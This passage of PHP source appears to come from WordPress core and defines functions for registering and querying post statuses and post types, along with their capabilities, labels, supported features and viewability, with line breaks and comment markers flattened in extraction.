their status. function get_page_statuses() { $status = array( 'draft' => __( 'Draft' ), 'private' => __( 'Private' ), 'publish' => __( 'Published' ), ); return $status; } * * Returns statuses for privacy requests. * * @since 4.9.6 * @access private * * @return string[] Array of privacy request status labels keyed by their status. function _wp_privacy_statuses() { return array( 'request-pending' => _x( 'Pending', 'request status' ), Pending confirmation from user. 'request-confirmed' => _x( 'Confirmed', 'request status' ), User has confirmed the action. 'request-failed' => _x( 'Failed', 'request status' ), User failed to confirm the action. 'request-completed' => _x( 'Completed', 'request status' ), Admin has handled the request. ); } * * Registers a post status. Do not use before init. * * A simple function for creating or modifying a post status based on the * parameters given. The function will accept an array (second optional * parameter), along with a string for the post status name. * * Arguments prefixed with an _underscore shouldn't be used by plugins and themes. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses Inserts new post status object into the list * * @param string $post_status Name of the post status. * @param array|string $args { * Optional. Array or string of post status arguments. * * @type bool|string $label A descriptive name for the post status marked * for translation. Defaults to value of $post_status. * @type array|false $label_count Nooped plural text from _n_noop() to provide the singular * and plural forms of the label for counts. Default false * which means the `$label` argument will be used for both * the singular and plural forms of this label. * @type bool $exclude_from_search Whether to exclude posts with this post status * from search results. Default is value of $internal. * @type bool $_builtin Whether the status is built-in. Core-use only. * Default false. * @type bool $public Whether posts of this status should be shown * in the front end of the site. Default false. * @type bool $internal Whether the status is for internal use only. * Default false. * @type bool $protected Whether posts with this status should be protected. * Default false. * @type bool $private Whether posts with this status should be private. * Default false. * @type bool $publicly_queryable Whether posts with this status should be publicly- * queryable. Default is value of $public. * @type bool $show_in_admin_all_list Whether to include posts in the edit listing for * their post type. Default is the opposite value * of $internal. * @type bool $show_in_admin_status_list Show in the list of statuses with post counts at * the top of the edit listings, * e.g. All (12) | Published (9) | My Custom Status (2) * Default is the opposite value of $internal. * @type bool $date_floating Whether the post has a floating creation date. * Default to false. * } * @return object function register_post_status( $post_status, $args = array() ) { global $wp_post_statuses; if ( ! is_array( $wp_post_statuses ) ) { $wp_post_statuses = array(); } Args prefixed with an underscore are reserved for internal use. $defaults = array( 'label' => false, 'label_count' => false, 'exclude_from_search' => null, '_builtin' => false, 'public' => null, 'internal' => null, 'protected' => null, 'private' => null, 'publicly_queryable' => null, 'show_in_admin_status_list' => null, 'show_in_admin_all_list' => null, 'date_floating' => null, ); $args = wp_parse_args( $args, $defaults ); $args = (object) $args; $post_status = sanitize_key( $post_status ); $args->name = $post_status; Set various defaults. if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private ) { $args->internal = true; } if ( null === $args->public ) { $args->public = false; } if ( null === $args->private ) { $args->private = false; } if ( null === $args->protected ) { $args->protected = false; } if ( null === $args->internal ) { $args->internal = false; } if ( null === $args->publicly_queryable ) { $args->publicly_queryable = $args->public; } if ( null === $args->exclude_from_search ) { $args->exclude_from_search = $args->internal; } if ( null === $args->show_in_admin_all_list ) { $args->show_in_admin_all_list = ! $args->internal; } if ( null === $args->show_in_admin_status_list ) { $args->show_in_admin_status_list = ! $args->internal; } if ( null === $args->date_floating ) { $args->date_floating = false; } if ( false === $args->label ) { $args->label = $post_status; } if ( false === $args->label_count ) { phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingular,WordPress.WP.I18n.NonSingularStringLiteralPlural $args->label_count = _n_noop( $args->label, $args->label ); } $wp_post_statuses[ $post_status ] = $args; return $args; } * * Retrieves a post status object by name. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses List of post statuses. * * @see register_post_status() * * @param string $post_status The name of a registered post status. * @return stdClass|null A post status object. function get_post_status_object( $post_status ) { global $wp_post_statuses; if ( empty( $wp_post_statuses[ $post_status ] ) ) { return null; } return $wp_post_statuses[ $post_status ]; } * * Gets a list of post statuses. * * @since 3.0.0 * * @global stdClass[] $wp_post_statuses List of post statuses. * * @see register_post_status() * * @param array|string $args Optional. Array or string of post status arguments to compare against * properties of the global `$wp_post_statuses objects`. Default empty array. * @param string $output Optional. The type of output to return, either 'names' or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. 'or' means only one element * from the array needs to match; 'and' means all elements must match. * Default 'and'. * @return string[]|stdClass[] A list of post status names or objects. function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_post_statuses; $field = ( 'names' === $output ) ? 'name' : false; return wp_filter_object_list( $wp_post_statuses, $args, $operator, $field ); } * * Determines whether the post type is hierarchical. * * A false return value might also mean that the post type does not exist. * * @since 3.0.0 * * @see get_post_type_object() * * @param string $post_type Post type name * @return bool Whether post type is hierarchical. function is_post_type_hierarchical( $post_type ) { if ( ! post_type_exists( $post_type ) ) { return false; } $post_type = get_post_type_object( $post_type ); return $post_type->hierarchical; } * * Determines whether a post type is registered. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.0.0 * * @see get_post_type_object() * * @param string $post_type Post type name. * @return bool Whether post type is registered. function post_type_exists( $post_type ) { return (bool) get_post_type_object( $post_type ); } * * Retrieves the post type of the current post or of a given post. * * @since 2.1.0 * * @param int|WP_Post|null $post Optional. Post ID or post object. Default is global $post. * @return string|false Post type on success, false on failure. function get_post_type( $post = null ) { $post = get_post( $post ); if ( $post ) { return $post->post_type; } return false; } * * Retrieves a post type object by name. * * @since 3.0.0 * @since 4.6.0 Object returned is now an instance of `WP_Post_Type`. * * @global array $wp_post_types List of post types. * * @see register_post_type() * * @param string $post_type The name of a registered post type. * @return WP_Post_Type|null WP_Post_Type object if it exists, null otherwise. function get_post_type_object( $post_type ) { global $wp_post_types; if ( ! is_scalar( $post_type ) || empty( $wp_post_types[ $post_type ] ) ) { return null; } return $wp_post_types[ $post_type ]; } * * Gets a list of all registered post type objects. * * @since 2.9.0 * * @global array $wp_post_types List of post types. * * @see register_post_type() for accepted arguments. * * @param array|string $args Optional. An array of key => value arguments to match against * the post type objects. Default empty array. * @param string $output Optional. The type of output to return. Accepts post type 'names' * or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. 'or' means only one * element from the array needs to match; 'and' means all elements * must match; 'not' means no elements may match. Default 'and'. * @return string[]|WP_Post_Type[] An array of post type names or objects. function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_post_types; $field = ( 'names' === $output ) ? 'name' : false; return wp_filter_object_list( $wp_post_types, $args, $operator, $field ); } * * Registers a post type. * * Note: Post type registrations should not be hooked before the * {@see 'init'} action. Also, any taxonomy connections should be * registered via the `$taxonomies` argument to ensure consistency * when hooks such as {@see 'parse_query'} or {@see 'pre_get_posts'} * are used. * * Post types can support any number of built-in core features such * as meta boxes, custom fields, post thumbnails, post statuses, * comments, and more. See the `$supports` argument for a complete * list of supported features. * * @since 2.9.0 * @since 3.0.0 The `show_ui` argument is now enforced on the new post screen. * @since 4.4.0 The `show_ui` argument is now enforced on the post type listing * screen and post editing screen. * @since 4.6.0 Post type object returned is now an instance of `WP_Post_Type`. * @since 4.7.0 Introduced `show_in_rest`, `rest_base` and `rest_controller_class` * arguments to register the post type in REST API. * @since 5.0.0 The `template` and `template_lock` arguments were added. * @since 5.3.0 The `supports` argument will now accept an array of arguments for a feature. * @since 5.9.0 The `rest_namespace` argument was added. * * @global array $wp_post_types List of post types. * * @param string $post_type Post type key. Must not exceed 20 characters and may only contain * lowercase alphanumeric characters, dashes, and underscores. See sanitize_key(). * @param array|string $args { * Array or string of arguments for registering a post type. * * @type string $label Name of the post type shown in the menu. Usually plural. * Default is value of $labels['name']. * @type string[] $labels An array of labels for this post type. If not set, post * labels are inherited for non-hierarchical types and page * labels for hierarchical ones. See get_post_type_labels() for a full * list of supported labels. * @type string $description A short descriptive summary of what the post type is. * Default empty. * @type bool $public Whether a post type is intended for use publicly either via * the admin interface or by front-end users. While the default * settings of $exclude_from_search, $publicly_queryable, $show_ui, * and $show_in_nav_menus are inherited from $public, each does not * rely on this relationship and controls a very specific intention. * Default false. * @type bool $hierarchical Whether the post type is hierarchical (e.g. page). Default false. * @type bool $exclude_from_search Whether to exclude posts with this post type from front end search * results. Default is the opposite value of $public. * @type bool $publicly_queryable Whether queries can be performed on the front end for the post type * as part of parse_request(). Endpoints would include: * * ?post_type={post_type_key} * * ?{post_type_key}={single_post_slug} * * ?{post_type_query_var}={single_post_slug} * If not set, the default is inherited from $public. * @type bool $show_ui Whether to generate and allow a UI for managing this post type in the * admin. Default is value of $public. * @type bool|string $show_in_menu Where to show the post type in the admin menu. To work, $show_ui * must be true. If true, the post type is shown in its own top level * menu. If false, no menu is shown. If a string of an existing top * level menu ('tools.php' or 'edit.php?post_type=page', for example), the * post type will be placed as a sub-menu of that. * Default is value of $show_ui. * @type bool $show_in_nav_menus Makes this post type available for selection in navigation menus. * Default is value of $public. * @type bool $show_in_admin_bar Makes this post type available via the admin bar. Default is value * of $show_in_menu. * @type bool $show_in_rest Whether to include the post type in the REST API. Set this to true * for the post type to be available in the block editor. * @type string $rest_base To change the base URL of REST API route. Default is $post_type. * @type string $rest_namespace To change the namespace URL of REST API route. Default is wp/v2. * @type string $rest_controller_class REST API controller class name. Default is 'WP_REST_Posts_Controller'. * @type string|bool $autosave_rest_controller_class REST API controller class name. Default is 'WP_REST_Autosaves_Controller'. * @type string|bool $revisions_rest_controller_class REST API controller class name. Default is 'WP_REST_Revisions_Controller'. * @type bool $late_route_registration A flag to direct the REST API controllers for autosave / revisions should be registered before/after the post type controller. * @type int $menu_position The position in the menu order the post type should appear. To work, * $show_in_menu must be true. Default null (at the bottom). * @type string $menu_icon The URL to the icon to be used for this menu. Pass a base64-encoded * SVG using a data URI, which will be colored to match the color scheme * -- this should begin with 'data:image/svg+xml;base64,'. Pass the name * of a Dashicons helper class to use a font icon, e.g. * 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty * so an icon can be added via CSS. Defaults to use the posts icon. * @type string|array $capability_type The string to use to build the read, edit, and delete capabilities. * May be passed as an array to allow for alternative plurals when using * this argument as a base to construct the capabilities, e.g. * array('story', 'stories'). Default 'post'. * @type string[] $capabilities Array of capabilities for this post type. $capability_type is used * as a base to construct capabilities by default. * See get_post_type_capabilities(). * @type bool $map_meta_cap Whether to use the internal default meta capability handling. * Default false. * @type array $supports Core feature(s) the post type supports. Serves as an alias for calling * add_post_type_support() directly. Core features include 'title', * 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', * 'page-attributes', 'thumbnail', 'custom-fields', and 'post-formats'. * Additionally, the 'revisions' feature dictates whether the post type * will store revisions, and the 'comments' feature dictates whether the * comments count will show on the edit screen. A feature can also be * specified as an array of arguments to provide additional information * about supporting that feature. * Example: `array( 'my_feature', array( 'field' => 'value' ) )`. * Default is an array containing 'title' and 'editor'. * @type callable $register_meta_box_cb Provide a callback function that sets up the meta boxes for the * edit form. Do remove_meta_box() and add_meta_box() calls in the * callback. Default null. * @type string[] $taxonomies An array of taxonomy identifiers that will be registered for the * post type. Taxonomies can be registered later with register_taxonomy() * or register_taxonomy_for_object_type(). * Default empty array. * @type bool|string $has_archive Whether there should be post type archives, or if a string, the * archive slug to use. Will generate the proper rewrite rules if * $rewrite is enabled. Default false. * @type bool|array $rewrite { * Triggers the handling of rewrites for this post type. To prevent rewrite, set to false. * Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be * passed with any of these keys: * * @type string $slug Customize the permastruct slug. Defaults to $post_type key. * @type bool $with_front Whether the permastruct should be prepended with WP_Rewrite::$front. * Default true. * @type bool $feeds Whether the feed permastruct should be built for this post type. * Default is value of $has_archive. * @type bool $pages Whether the permastruct should provide for pagination. Default true. * @type int $ep_mask Endpoint mask to assign. If not specified and permalink_epmask is set, * inherits from $permalink_epmask. If not specified and permalink_epmask * is not set, defaults to EP_PERMALINK. * } * @type string|bool $query_var Sets the query_var key for this post type. Defaults to $post_type * key. If false, a post type cannot be loaded at * ?{query_var}={post_slug}. If specified as a string, the query * ?{query_var_string}={post_slug} will be valid. * @type bool $can_export Whether to allow this post type to be exported. Default true. * @type bool $delete_with_user Whether to delete posts of this type when deleting a user. * * If true, posts of this type belonging to the user will be moved * to Trash when the user is deleted. * * If false, posts of this type belonging to the user will *not* * be trashed or deleted. * * If not set (the default), posts are trashed if post type supports * the 'author' feature. Otherwise posts are not trashed or deleted. * Default null. * @type array $template Array of blocks to use as the default initial state for an editor * session. Each item should be an array containing block name and * optional attributes. Default empty array. * @type string|false $template_lock Whether the block template should be locked if $template is set. * * If set to 'all', the user is unable to insert new blocks, * move existing blocks and delete blocks. * * If set to 'insert', the user is able to move existing blocks * but is unable to insert new blocks and delete blocks. * Default false. * @type bool $_builtin FOR INTERNAL USE ONLY! True if this post type is a native or * "built-in" post_type. Default false. * @type string $_edit_link FOR INTERNAL USE ONLY! URL segment to use for edit link of * this post type. Default 'post.php?post=%d'. * } * @return WP_Post_Type|WP_Error The registered post type object on success, * WP_Error object on failure. function register_post_type( $post_type, $args = array() ) { global $wp_post_types; if ( ! is_array( $wp_post_types ) ) { $wp_post_types = array(); } Sanitize post type name. $post_type = sanitize_key( $post_type ); if ( empty( $post_type ) || strlen( $post_type ) > 20 ) { _doing_it_wrong( __FUNCTION__, __( 'Post type names must be between 1 and 20 characters in length.' ), '4.2.0' ); return new WP_Error( 'post_type_length_invalid', __( 'Post type names must be between 1 and 20 characters in length.' ) ); } $post_type_object = new WP_Post_Type( $post_type, $args ); $post_type_object->add_supports(); $post_type_object->add_rewrite_rules(); $post_type_object->register_meta_boxes(); $wp_post_types[ $post_type ] = $post_type_object; $post_type_object->add_hooks(); $post_type_object->register_taxonomies(); * * Fires after a post type is registered. * * @since 3.3.0 * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * * @param string $post_type Post type. * @param WP_Post_Type $post_type_object Arguments used to register the post type. do_action( 'registered_post_type', $post_type, $post_type_object ); * * Fires after a specific post type is registered. * * The dynamic portion of the filter name, `$post_type`, refers to the post type key. * * Possible hook names include: * * - `registered_post_type_post` * - `registered_post_type_page` * * @since 6.0.0 * * @param string $post_type Post type. * @param WP_Post_Type $post_type_object Arguments used to register the post type. do_action( "registered_post_type_{$post_type}", $post_type, $post_type_object ); return $post_type_object; } * * Unregisters a post type. * * Cannot be used to unregister built-in post types. * * @since 4.5.0 * * @global array $wp_post_types List of post types. * * @param string $post_type Post type to unregister. * @return true|WP_Error True on success, WP_Error on failure or if the post type doesn't exist. function unregister_post_type( $post_type ) { global $wp_post_types; if ( ! post_type_exists( $post_type ) ) { return new WP_Error( 'invalid_post_type', __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); Do not allow unregistering internal post types. if ( $post_type_object->_builtin ) { return new WP_Error( 'invalid_post_type', __( 'Unregistering a built-in post type is not allowed' ) ); } $post_type_object->remove_supports(); $post_type_object->remove_rewrite_rules(); $post_type_object->unregister_meta_boxes(); $post_type_object->remove_hooks(); $post_type_object->unregister_taxonomies(); unset( $wp_post_types[ $post_type ] ); * * Fires after a post type was unregistered. * * @since 4.5.0 * * @param string $post_type Post type key. do_action( 'unregistered_post_type', $post_type ); return true; } * * Builds an object with all post type capabilities out of a post type object * * Post type capabilities use the 'capability_type' argument as a base, if the * capability is not set in the 'capabilities' argument array or if the * 'capabilities' argument is not supplied. * * The capability_type argument can optionally be registered as an array, with * the first value being singular and the second plural, e.g. array('story, 'stories') * Otherwise, an 's' will be added to the value for the plural form. After * registration, capability_type will always be a string of the singular value. * * By default, eight keys are accepted as part of the capabilities array: * * - edit_post, read_post, and delete_post are meta capabilities, which are then * generally mapped to corresponding primitive capabilities depending on the * context, which would be the post being edited/read/deleted and the user or * role being checked. Thus these capabilities would generally not be granted * directly to users or roles. * * - edit_posts - Controls whether objects of this post type can be edited. * - edit_others_posts - Controls whether objects of this type owned by other users * can be edited. If the post type does not support an author, then this will * behave like edit_posts. * - delete_posts - Controls whether objects of this post type can be deleted. * - publish_posts - Controls publishing objects of this post type. * - read_private_posts - Controls whether private objects can be read. * * These five primitive capabilities are checked in core in various locations. * There are also six other primitive capabilities which are not referenced * directly in core, except in map_meta_cap(), which takes the three aforementioned * meta capabilities and translates them into one or more primitive capabilities * that must then be checked against the user or role, depending on the context. * * - read - Controls whether objects of this post type can be read. * - delete_private_posts - Controls whether private objects can be deleted. * - delete_published_posts - Controls whether published objects can be deleted. * - delete_others_posts - Controls whether objects owned by other users can be * can be deleted. If the post type does not support an author, then this will * behave like delete_posts. * - edit_private_posts - Controls whether private objects can be edited. * - edit_published_posts - Controls whether published objects can be edited. * * These additional capabilities are only used in map_meta_cap(). Thus, they are * only assigned by default if the post type is registered with the 'map_meta_cap' * argument set to true (default is false). * * @since 3.0.0 * @since 5.4.0 'delete_posts' is included in default capabilities. * * @see register_post_type() * @see map_meta_cap() * * @param object $args Post type registration arguments. * @return object Object with all the capabilities as member variables. function get_post_type_capabilities( $args ) { if ( ! is_array( $args->capability_type ) ) { $args->capability_type = array( $args->capability_type, $args->capability_type . 's' ); } Singular base for meta capabilities, plural base for primitive capabilities. list( $singular_base, $plural_base ) = $args->capability_type; $default_capabilities = array( Meta capabilities. 'edit_post' => 'edit_' . $singular_base, 'read_post' => 'read_' . $singular_base, 'delete_post' => 'delete_' . $singular_base, Primitive capabilities used outside of map_meta_cap(): 'edit_posts' => 'edit_' . $plural_base, 'edit_others_posts' => 'edit_others_' . $plural_base, 'delete_posts' => 'delete_' . $plural_base, 'publish_posts' => 'publish_' . $plural_base, 'read_private_posts' => 'read_private_' . $plural_base, ); Primitive capabilities used within map_meta_cap(): if ( $args->map_meta_cap ) { $default_capabilities_for_mapping = array( 'read' => 'read', 'delete_private_posts' => 'delete_private_' . $plural_base, 'delete_published_posts' => 'delete_published_' . $plural_base, 'delete_others_posts' => 'delete_others_' . $plural_base, 'edit_private_posts' => 'edit_private_' . $plural_base, 'edit_published_posts' => 'edit_published_' . $plural_base, ); $default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping ); } $capabilities = array_merge( $default_capabilities, $args->capabilities ); Post creation capability simply maps to edit_posts by default: if ( ! isset( $capabilities['create_posts'] ) ) { $capabilities['create_posts'] = $capabilities['edit_posts']; } Remember meta capabilities for future reference. if ( $args->map_meta_cap ) { _post_type_meta_capabilities( $capabilities ); } return (object) $capabilities; } * * Stores or returns a list of post type meta caps for map_meta_cap(). * * @since 3.1.0 * @access private * * @global array $post_type_meta_caps Used to store meta capabilities. * * @param string[] $capabilities Post type meta capabilities. function _post_type_meta_capabilities( $capabilities = null ) { global $post_type_meta_caps; foreach ( $capabilities as $core => $custom ) { if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ), true ) ) { $post_type_meta_caps[ $custom ] = $core; } } } * * Builds an object with all post type labels out of a post type object. * * Accepted keys of the label array in the post type object: * * - `name` - General name for the post type, usually plural. The same and overridden * by `$post_type_object->label`. Default is 'Posts' / 'Pages'. * - `singular_name` - Name for one object of this post type. Default is 'Post' / 'Page'. * - `add_new` - Label for adding a new item. Default is 'Add New Post' / 'Add New Page'. * - `add_new_item` - Label for adding a new singular item. Default is 'Add New Post' / 'Add New Page'. * - `edit_item` - Label for editing a singular item. Default is 'Edit Post' / 'Edit Page'. * - `new_item` - Label for the new item page title. Default is 'New Post' / 'New Page'. * - `view_item` - Label for viewing a singular item. Default is 'View Post' / 'View Page'. * - `view_items` - Label for viewing post type archives. Default is 'View Posts' / 'View Pages'. * - `search_items` - Label for searching plural items. Default is 'Search Posts' / 'Search Pages'. * - `not_found` - Label used when no items are found. Default is 'No posts found' / 'No pages found'. * - `not_found_in_trash` - Label used when no items are in the Trash. Default is 'No posts found in Trash' / * 'No pages found in Trash'. * - `parent_item_colon` - Label used to prefix parents of hierarchical items. Not used on non-hierarchical * post types. Default is 'Parent Page:'. * - `all_items` - Label to signify all items in a submenu link. Default is 'All Posts' / 'All Pages'. * - `archives` - Label for archives in nav menus. Default is 'Post Archives' / 'Page Archives'. * - `attributes` - Label for the attributes meta box. Default is 'Post Attributes' / 'Page Attributes'. * - `insert_into_item` - Label for the media frame button. Default is 'Insert into post' / 'Insert into page'. * - `uploaded_to_this_item` - Label for the media frame filter. Default is 'Uploaded to this post' / * 'Uploaded to this page'. * - `featured_image` - Label for the featured image meta box title. Default is 'Featured image'. * - `set_featured_image` - Label for setting the featured image. Default is 'Set featured image'. * - `remove_featured_image` - Label for removing the featured image. Default is 'Remove featured image'. * - `use_featured_image` - Label in the media frame for using a featured image. Default is 'Use as featured image'. * - `menu_name` - Label for the menu name. Default is the same as `name`. * - `filter_items_list` - Label for the table views hidden heading. Default is 'Filter posts list' / * 'Filter pages list'. * - `filter_by_date` - Label for the date filter in list tables. Default is 'Filter by date'. * - `items_list_navigation` - Label for the table pagination hidden heading. Default is 'Posts list navigation' / * 'Pages list navigation'. * - `items_list` - Label for the table hidden heading. Default is 'Posts list' / 'Pages list'. * - `item_published` - Label used when an item is published. Default is 'Post published.' / 'Page published.' * - `item_published_privately` - Label used when an item is published with private visibility. * Default is 'Post published privately.' / 'Page published privately.' * - `item_reverted_to_draft` - Label used when an item is switched to a draft. * Default is 'Post reverted to draft.' / 'Page reverted to draft.' * - `item_trashed` - Label used when an item is moved to Trash. Default is 'Post trashed.' / 'Page trashed.' * - `item_scheduled` - Label used when an item is scheduled for publishing. Default is 'Post scheduled.' / * 'Page scheduled.' * - `item_updated` - Label used when an item is updated. Default is 'Post updated.' / 'Page updated.' * - `item_link` - Title for a navigation link block variation. Default is 'Post Link' / 'Page Link'. * - `item_link_description` - Description for a navigation link block variation. Default is 'A link to a post.' / * 'A link to a page.' * * Above, the first default value is for non-hierarchical post types (like posts) * and the second one is for hierarchical post types (like pages). * * Note: To set labels used in post type admin notices, see the {@see 'post_updated_messages'} filter. * * @since 3.0.0 * @since 4.3.0 Added the `featured_image`, `set_featured_image`, `remove_featured_image`, * and `use_featured_image` labels. * @since 4.4.0 Added the `archives`, `insert_into_item`, `uploaded_to_this_item`, `filter_items_list`, * `items_list_navigation`, and `items_list` labels. * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * @since 4.7.0 Added the `view_items` and `attributes` labels. * @since 5.0.0 Added the `item_published`, `item_published_privately`, `item_reverted_to_draft`, * `item_scheduled`, and `item_updated` labels. * @since 5.7.0 Added the `filter_by_date` label. * @since 5.8.0 Added the `item_link` and `item_link_description` labels. * @since 6.3.0 Added the `item_trashed` label. * @since 6.4.0 Changed default values for the `add_new` label to include the type of content. * This matches `add_new_item` and provides more context for better accessibility. * * @access private * * @param object|WP_Post_Type $post_type_object Post type object. * @return object Object with all the labels as member variables. function get_post_type_labels( $post_type_object ) { $nohier_vs_hier_defaults = WP_Post_Type::get_default_labels(); $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name']; $labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults ); $post_type = $post_type_object->name; $default_labels = clone $labels; * * Filters the labels of a specific post type. * * The dynamic portion of the hook name, `$post_type`, refers to * the post type slug. * * Possible hook names include: * * - `post_type_labels_post` * - `post_type_labels_page` * - `post_type_labels_attachment` * * @since 3.5.0 * * @see get_post_type_labels() for the full list of labels. * * @param object $labels Object with labels for the post type as member variables. $labels = apply_filters( "post_type_labels_{$post_type}", $labels ); Ensure that the filtered labels contain all required default values. $labels = (object) array_merge( (array) $default_labels, (array) $labels ); return $labels; } * * Builds an object with custom-something object (post type, taxonomy) labels * out of a custom-something object * * @since 3.0.0 * @access private * * @param object $data_object A custom-something object. * @param array $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels. * @return object Object containing labels for the given custom-something object. function _get_custom_object_labels( $data_object, $nohier_vs_hier_defaults ) { $data_object->labels = (array) $data_object->labels; if ( isset( $data_object->label ) && empty( $data_object->labels['name'] ) ) { $data_object->labels['name'] = $data_object->label; } if ( ! isset( $data_object->labels['singular_name'] ) && isset( $data_object->labels['name'] ) ) { $data_object->labels['singular_name'] = $data_object->labels['name']; } if ( ! isset( $data_object->labels['name_admin_bar'] ) ) { $data_object->labels['name_admin_bar'] = isset( $data_object->labels['singular_name'] ) ? $data_object->labels['singular_name'] : $data_object->name; } if ( ! isset( $data_object->labels['menu_name'] ) && isset( $data_object->labels['name'] ) ) { $data_object->labels['menu_name'] = $data_object->labels['name']; } if ( ! isset( $data_object->labels['all_items'] ) && isset( $data_object->labels['menu_name'] ) ) { $data_object->labels['all_items'] = $data_object->labels['menu_name']; } if ( ! isset( $data_object->labels['archives'] ) && isset( $data_object->labels['all_items'] ) ) { $data_object->labels['archives'] = $data_object->labels['all_items']; } $defaults = array(); foreach ( $nohier_vs_hier_defaults as $key => $value ) { $defaults[ $key ] = $data_object->hierarchical ? $value[1] : $value[0]; } $labels = array_merge( $defaults, $data_object->labels ); $data_object->labels = (object) $data_object->labels; return (object) $labels; } * * Adds submenus for post types. * * @access private * @since 3.1.0 function _add_post_type_submenus() { foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) { $ptype_obj = get_post_type_object( $ptype ); Sub-menus only. if ( ! $ptype_obj->show_in_menu || true === $ptype_obj->show_in_menu ) { continue; } add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" ); } } * * Registers support of certain features for a post type. * * All core features are directly associated with a functional area of the edit * screen, such as the editor or a meta box. Features include: 'title', 'editor', * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes', * 'thumbnail', 'custom-fields', and 'post-formats'. * * Additionally, the 'revisions' feature dictates whether the post type will * store revisions, and the 'comments' feature dictates whether the comments * count will show on the edit screen. * * A third, optional parameter can also be passed along with a feature to provide * additional information about supporting that feature. * * Example usage: * * add_post_type_support( 'my_post_type', 'comments' ); * add_post_type_support( 'my_post_type', array( * 'author', 'excerpt', * ) ); * add_post_type_support( 'my_post_type', 'my_feature', array( * 'field' => 'value', * ) ); * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global array $_wp_post_type_features * * @param string $post_type The post type for which to add the feature. * @param string|array $feature The feature being added, accepts an array of * feature strings or a single string. * @param mixed ...$args Optional extra arguments to pass along with certain features. function add_post_type_support( $post_type, $feature, ...$args ) { global $_wp_post_type_features; $features = (array) $feature; foreach ( $features as $feature ) { if ( $args ) { $_wp_post_type_features[ $post_type ][ $feature ] = $args; } else { $_wp_post_type_features[ $post_type ][ $feature ] = true; } } } * * Removes support for a feature from a post type. * * @since 3.0.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type for which to remove the feature. * @param string $feature The feature being removed. function remove_post_type_support( $post_type, $feature ) { global $_wp_post_type_features; unset( $_wp_post_type_features[ $post_type ][ $feature ] ); } * * Gets all the post type features * * @since 3.4.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type. * @return array Post type supports list. function get_all_post_type_supports( $post_type ) { global $_wp_post_type_features; if ( isset( $_wp_post_type_features[ $post_type ] ) ) { return $_wp_post_type_features[ $post_type ]; } return array(); } * * Checks a post type's support for a given feature. * * @since 3.0.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type being checked. * @param string $feature The feature being checked. * @return bool Whether the post type supports the given feature. function post_type_supports( $post_type, $feature ) { global $_wp_post_type_features; return ( isset( $_wp_post_type_features[ $post_type ][ $feature ] ) ); } * * Retrieves a list of post type names that support a specific feature. * * @since 4.5.0 * * @global array $_wp_post_type_features Post type features * * @param array|string $feature Single feature or an array of features the post types should support. * @param string $operator Optional. The logical operation to perform. 'or' means * only one element from the array needs to match; 'and' * means all elements must match; 'not' means no elements may * match. Default 'and'. * @return string[] A list of post type names. function get_post_types_by_support( $feature, $operator = 'and' ) { global $_wp_post_type_features; $features = array_fill_keys( (array) $feature, true ); return array_keys( wp_filter_object_list( $_wp_post_type_features, $features, $operator ) ); } * * Updates the post type for the post ID. * * The page or post cache will be cleaned for the post ID. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Optional. Post ID to change post type. Default 0. * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to * name a few. Default 'post'. * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure. function set_post_type( $post_id = 0, $post_type = 'post' ) { global $wpdb; $post_type = sanitize_post_field( 'post_type', $post_type, $post_id, 'db' ); $return = $wpdb->update( $wpdb->posts, array( 'post_type' => $post_type ), array( 'ID' => $post_id ) ); clean_post_cache( $post_id ); return $return; } * * Determines whether a post type is considered "viewable". * * For built-in post types such as posts and pages, the 'public' value will be evaluated. * For all others, the 'publicly_queryable' value will be used. * * @since 4.4.0 * @since 4.5.0 Added the ability to pass a post type name in addition to object. * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * @since 5.9.0 Added `is_post_type_viewable` hook to filter the result. * * @param string|WP_Post_Type $post_type Post type name or object. * @return bool Whether the post type should be considered viewable. function is_post_type_viewable( $post_type ) { if ( is_scalar( $post_type ) ) { $post_type = get_post_type_object( $post_type ); if ( ! $post_type ) { return false; } } if ( ! is_object( $post_type ) ) { return false; } $is_viewable = $post_type->publicly_queryable || ( $post_type->_builtin && $post_type->public ); * * Filters whether a post type is considered "viewable". * * The returned filtered value must be a boolean type to ensure * `is_post_type_viewable()` only returns a boolean. This strictness * is by design to maintain backwards-compatibility and guard against * potential type errors in PHP 8.1+. Non-boolean values (even falsey * and truthy values) will result in the function returning false. * * @since 5.9.0 * * @param bool $is_viewable Whether the post type is "viewable" (strict type). * @param WP_Post_Type $post_type Post type object. return true === apply_filters( 'is_post_type_viewable', $is_viewable, $post_type ); } * * Determines whether a post status is considered "viewable". * * For built-in post statuses such as publish and private, the 'public' value will be evaluated. * For all others, the 'publicly_queryable' value will be used. * * 